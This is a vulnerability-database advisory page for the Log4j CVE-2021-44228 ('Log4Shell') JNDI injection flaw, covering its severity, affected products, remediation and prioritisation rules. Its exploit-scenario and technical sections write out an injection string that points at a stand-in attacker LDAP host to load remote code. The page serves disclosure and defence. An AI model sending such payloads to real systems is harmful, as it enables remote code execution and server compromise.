Skip to main content

Log4J CVE-2021-44228

CRITICAL
Improper Input Validation (CWE-20)
2021-12-10 security@apache.org
RCE Apache Apple Cisco Debian Siemens Intel Active Iq Unified Manager Computer Vision Annotation Tool Debian Linux Enterprise Chat And Email Evolved Programmable Network Manager Fedora Finesse Identity Services Engine Nexus Dashboard Nx Oncommand Insight Unified Communications Manager Unified Communications Manager Im And Presence Service Unified Contact Center Express Unified Intelligence Center Unity Connection Virtualized Voice Browser Xcode Solidfire Hci Storage Node Crosswork Network Controller Common Services Platform Collector Sonicwall Industrial Edge Management Brocade San Navigator Ontap Tools Teamcenter Snapcenter Network Services Orchestrator Smart Phy Firepower Threat Defense Unified Contact Center Enterprise Sipass Integrated Spectrum Power 7 Email Security Navigator Emergency Responder Unified Customer Voice Portal Cloud Manager Unified Computing System Comos Webex Meetings Server Video Surveillance Operations Manager Video Surveillance Manager Mobility Services Engine Ucs Director Prime Service Catalog Integrated Management Controller Supervisor Virtual Topology System Fog Director Business Process Automation Connected Mobile Experiences Crosswork Data Gateway Crosswork Zero Touch Provisioning Data Center Network Manager Unified Contact Center Management Portal System Studio Log4J Fxos Logo Soft Comfort Cloud Secure Agent Cyber Vision Network Assurance Engine Packaged Contact Center Enterprise Cloud Insights Spectrum Power 4 Mendix Dna Spaces Crosswork Network Automation Opcenter Intelligence Sd Wan Vmanage Unified Communications Manager Im Presence Service Intersight Virtual Appliance Nexus Insights Siveillance Control Pro Gma Manager Operation Scheduler Solidfire Enterprise Sds Siveillance Identity Cx Cloud Agent Virtualized Infrastructure Manager Broadworks Ucs Central Software Dna Center 6Bk1602 0Aa12 0Tp0 Firmware 6Bk1602 0Aa22 0Tp0 Firmware 6Bk1602 0Aa32 0Tp0 Firmware 6Bk1602 0Aa42 0Tp0 Firmware 6Bk1602 0Aa52 0Tp0 Firmware Sppa T3000 Ses3000 Firmware Capital Desigo Cc Advanced Reports Desigo Cc Info Center E Car Operation Center Energy Engage Energyip Energyip Prepay Head End System Universal Device Integration System Industrial Edge Management Hub Mindsphere Sentron Powermanager Siguard Dsa Siveillance Command Siveillance Vantage Siveillance Viewpoint Solid Edge Cam Pro Solid Edge Harness Design Vesys Xpedition Enterprise Xpedition Package Integrator Datacenter Manager Genomics Kernel Library Oneapi Sample Browser Secure Device Onboard Advanced Malware Protection Virtual Private Cloud Appliance Automated Subsea Tuning Cloud Connect Cloudcenter Cloudcenter Cost Optimizer Cloudcenter Suite Admin Cloudcenter Workload Manager Contact Center Domain Manager Contact Center Management Portal Crosswork Optimization Engine Crosswork Platform Infrastructure Customer Experience Cloud Agent Cyber Vision Sensor Management Extension Iot Operations Dashboard Optical Network Controller Paging Server Ucs Central Wan Automation Engine Workload Optimization Manager Unified Sip Proxy Unified Workforce Optimization Cloudcenter Suite Dna Spaces Connector Network Dashboard Fabric Controller Network Insights For Data Center Snow Commander Vm Access Proxy Synchro Synchro 4D Rhythmyx Netapp Fedoraproject Snowsoftware Bentley
10.0
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A03:2021 - Injection
ASVS 5.0
V5 - Validation, Sanitization and Encoding Input validation, output encoding, parameterized queries
Impact

Maximum possible risk (CVSS 10.0, EPSS 94.4%). Log4j2 is used by virtually every Java application, including Apache Struts, Solr, Druid, Flink, Kafka, Elasticsearch, and thousands of enterprise products. The trivial exploitation (a single string in any input field) and ubiquity made this the most impactful vulnerability ever disclosed. Every internet-facing Java application was potentially vulnerable.

Exploit ScenarioDerived

An attacker sends a request with the User-Agent header set to ${jndi:ldap://attacker.com/exploit}. The web server logs the request, Log4j processes the JNDI lookup, connecting to the attacker's LDAP server. The LDAP server returns a reference to a malicious Java class that is downloaded and executed, providing remote code execution on the server.

Act Now Prioritize within 24-48h. Why: In CISA KEV with patch available.
Exploited in the wild (CISA KEV) Patch available 94.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 26, 2026

Apache Log4j2 contains a critical JNDI injection vulnerability known as 'Log4Shell' that allows unauthenticated remote code execution through crafted log messages, affecting virtually every Java application on Earth and triggering the largest vulnerability remediation effort in history.

Earlier versions of this analysis (1)
v1 Mar 26, 2026 - 11:19 CVSS 10.0

A JNDI injection vulnerability in Apache Log4j2's message lookup substitution feature (Log4Shell) allows unauthenticated remote code execution by injecting ${jndi:ldap://attacker/payload} strings into any logged data. This affected billions of devices and triggered an unprecedented global response.

RemediationAI

Update Log4j2 to 2.17.1+. If immediate patching is impossible: set log4j2.formatMsgNoLookups=true, remove JndiLookup class from classpath, or upgrade to Java 8u191+ (partial mitigation). Scan all Java applications for Log4j2 usage. This requires organization-wide inventory of all Java deployments.

Affected Packages

maven com.guicedee.services:log4j-core no fix
maven org.apache.logging.log4j:log4j-core fix: 2.3.1, 2.12.2, 2.15.0
maven org.ops4j.pax.logging:pax-logging-log4j2 fix: 1.9.2, 1.10.8, 1.11.10, 2.0.11
maven org.xbib.elasticsearch:log4j no fix
maven uk.co.nichesolutions.logging.log4j:log4j-core no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 5 packages in maven

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The CWE-20 vulnerability in Log4j2's lookup feature automatically processes JNDI references in log messages. When an application logs user-controlled data containing ${jndi:ldap://...}, Log4j resolves the JNDI reference, connecting to an attacker's LDAP server which returns a malicious Java class for execution. The attack surface includes HTTP headers, form fields, usernames, and any other data that reaches a log statement.

Know when Log4J gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Added to CISA KEV
Feb 20, 2026 - 16:15 cisa
CISA KEV
PoC Detected
Feb 20, 2026 - 16:15 vuln.today
Public exploit code
Patch released
Feb 20, 2026 - 16:15 nvd
Patch available
CVE Published
Dec 10, 2021 - 10:15 nvd
CRITICAL 10.0

DescriptionNVD

Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Executive ViewAI

Why It Matters

CVE-2021-44228 presents critical security risk, a input validation vulnerability rated CVSS 10.0. Successful exploitation could critically impact the confidentiality, integrity, and availability of affected systems. This vulnerability is actively exploited in the wild (KEV-listed) and requires immediate remediation. A patch is available and should be applied immediately given the critical severity.

Business Impact: Severe
Compensating Controls

Apply vendor patch. If immediate patching is not feasible: (1) Implement network-level access controls to limit exposure; (2) Enable enhanced monitoring and alerting; (3) Apply principle of least privilege.

Threat Intelligence Overview

Threat Score
9.8/10
Composite threat intelligence
EPSS Score
94.4%
Top 0% exploitable
CIRCL KEV
Listed
Community Exploited Vulnerability
Threat Intel
5
1 sources
Exploit
POC
Public exploit code exists
Data Quality
9 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV Yes
Public POC Yes
EPSS 94.4%
Patch available Yes
Active threat Yes
Deciding rule
In CISA KEV with patch available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Immediate
Exploitation· derived
Active
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

239
Low Medium High Critical
KEV: +50
EPSS: +94
CVSS: +50
PoC: +20
Weaponized: +15
Threat intel: +10
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)NVD

cpe:2.3:o:siemens:6bk1602-0aa12-0tp0_firmware:*:*:*:*:*:*:*:*
cpe:2.3:o:siemens:6bk1602-0aa22-0tp0_firmware:*:*:*:*:*:*:*:*
cpe:2.3:o:siemens:6bk1602-0aa32-0tp0_firmware:*:*:*:*:*:*:*:*
cpe:2.3:o:siemens:6bk1602-0aa42-0tp0_firmware:*:*:*:*:*:*:*:*
cpe:2.3:o:siemens:6bk1602-0aa52-0tp0_firmware:*:*:*:*:*:*:*:*
cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
cpe:2.3:a:apache:log4j:2.0:-:*:*:*:*:*:*
cpe:2.3:a:apache:log4j:2.0:beta9:*:*:*:*:*:*
cpe:2.3:a:apache:log4j:2.0:rc1:*:*:*:*:*:*
cpe:2.3:a:apache:log4j:2.0:rc2:*:*:*:*:*:*
cpe:2.3:o:siemens:sppa-t3000_ses3000_firmware:*:*:*:*:*:*:*:*
cpe:2.3:a:siemens:capital:*:*:*:*:*:*:*:*
cpe:2.3:a:siemens:capital:2019.1:-:*:*:*:*:*:*
cpe:2.3:a:siemens:capital:2019.1:sp1912:*:*:*:*:*:*
cpe:2.3:a:siemens:comos:*:*:*:*:*:*:*:*
cpe:2.3:a:siemens:desigo_cc_advanced_reports:3.0:*:*:*:*:*:*:*
cpe:2.3:a:siemens:desigo_cc_advanced_reports:4.0:*:*:*:*:*:*:*
cpe:2.3:a:siemens:desigo_cc_advanced_reports:4.1:*:*:*:*:*:*:*
+ 353 more

More in Log4J

View all
CVE-2017-5645 CRITICAL POC
9.8 Apr 17

In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events

CVE-2021-45105 MEDIUM
5.9 Dec 18

Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3 and 2.3.1) did not protect from uncontrolled recursio

CVE-2021-4104 HIGH
7.5 Dec 14

JMSAppender in Log4j 1.2 is vulnerable to deserialization of untrusted data when the attacker has write access to the Lo

CVE-2021-44832 MEDIUM
6.6 Dec 28

Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to a r

CVE-2019-17571 CRITICAL
9.8 Dec 20

Included in Log4j 1.2 is a SocketServer class that is vulnerable to deserialization of untrusted data which can be explo

CVE-2022-23305 CRITICAL
9.8 Jan 18

By design, the JDBCAppender in Log4j 1.2.x accepts an SQL statement as a configuration parameter where the values to be

CVE-2022-23307 HIGH
8.8 Jan 18

CVE-2020-9493 identified a deserialization issue that was present in Apache Chainsaw. Rated high severity (CVSS 8.8), th

CVE-2022-23302 HIGH
8.8 Jan 18

JMSSink in all versions of Log4j 1.x is vulnerable to deserialization of untrusted data when the attacker has write acce

CVE-2023-26464 HIGH
7.5 Mar 10

** UNSUPPORTED WHEN ASSIGNED ** When using the Chainsaw or SocketAppender components with Log4j 1.x on JRE less than 1.7

CVE-2020-9488 LOW
3.7 Apr 27

Improper validation of certificate with host mismatch in Apache Log4j SMTP appender. Rated low severity (CVSS 3.7), this

Threat IntelligenceMISP

Sources: MITRE ATT&CK, Metasploit/Nuclei, AWS

References

Advisories & patches
PATCH https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/ PATCH https://www.oracle.com/security-alerts/cpuapr2022.html PATCH https://www.oracle.com/security-alerts/cpujan2022.html ADVISORY https://logging.apache.org/log4j/2.x/security.html REF http://packetstormsecurity.com/files/165225/Apache-Log4j2-2.14.1-Remote-Code-Execution.html REF http://packetstormsecurity.com/files/165260/VMware-Security-Advisory-2021-0028.html REF http://packetstormsecurity.com/files/165281/Log4j2-Log4Shell-Regexes.html REF http://packetstormsecurity.com/files/165282/Log4j-Payload-Generator.html REF http://packetstormsecurity.com/files/165306/L4sh-Log4j-Remote-Code-Execution.html REF http://packetstormsecurity.com/files/165307/Log4j-Remote-Code-Execution-Word-Bypassing.html REF http://packetstormsecurity.com/files/165311/log4j-scan-Extensive-Scanner.html REF http://packetstormsecurity.com/files/167794/Open-Xchange-App-Suite-7.10.x-Cross-Site-Scripting-Command-Injection.html REF http://packetstormsecurity.com/files/171626/AD-Manager-Plus-7122-Remote-Code-Execution.html REF http://seclists.org/fulldisclosure/2022/Jul/11 REF http://seclists.org/fulldisclosure/2022/Mar/23 REF http://www.openwall.com/lists/oss-security/2021/12/10/1 REF http://www.openwall.com/lists/oss-security/2021/12/10/2 REF http://www.openwall.com/lists/oss-security/2021/12/10/3 REF http://www.openwall.com/lists/oss-security/2021/12/13/1 REF http://www.openwall.com/lists/oss-security/2021/12/13/2 REF http://www.openwall.com/lists/oss-security/2021/12/14/4 REF http://www.openwall.com/lists/oss-security/2021/12/15/3 REF https://cert-portal.siemens.com/productcert/pdf/ssa-397453.pdf REF https://cert-portal.siemens.com/productcert/pdf/ssa-479842.pdf REF https://cert-portal.siemens.com/productcert/pdf/ssa-661247.pdf REF https://cert-portal.siemens.com/productcert/pdf/ssa-714170.pdf REF https://github.com/cisagov/log4j-affected-db REF https://github.com/cisagov/log4j-affected-db/blob/develop/SOFTWARE-LIST.md REF https://lists.debian.org/debian-lts-announce/2021/12/msg00007.html REF https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/M5CSVUNV4HWZZXGOKNSK6L7RPM7BOKIB/ REF https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VU57UJDCFIASIO35GC55JMKSRXJMCDFM/ REF https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032 REF https://security.netapp.com/advisory/ntap-20211210-0007/ REF https://support.apple.com/kb/HT213189 REF https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd REF https://www.bentley.com/en/common-vulnerability-exposure/be-2022-0001 REF https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-44228 REF https://www.debian.org/security/2021/dsa-5020 REF https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00646.html REF https://www.kb.cert.org/vuls/id/930724 REF https://www.oracle.com/security-alerts/alert-cve-2021-44228.html

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy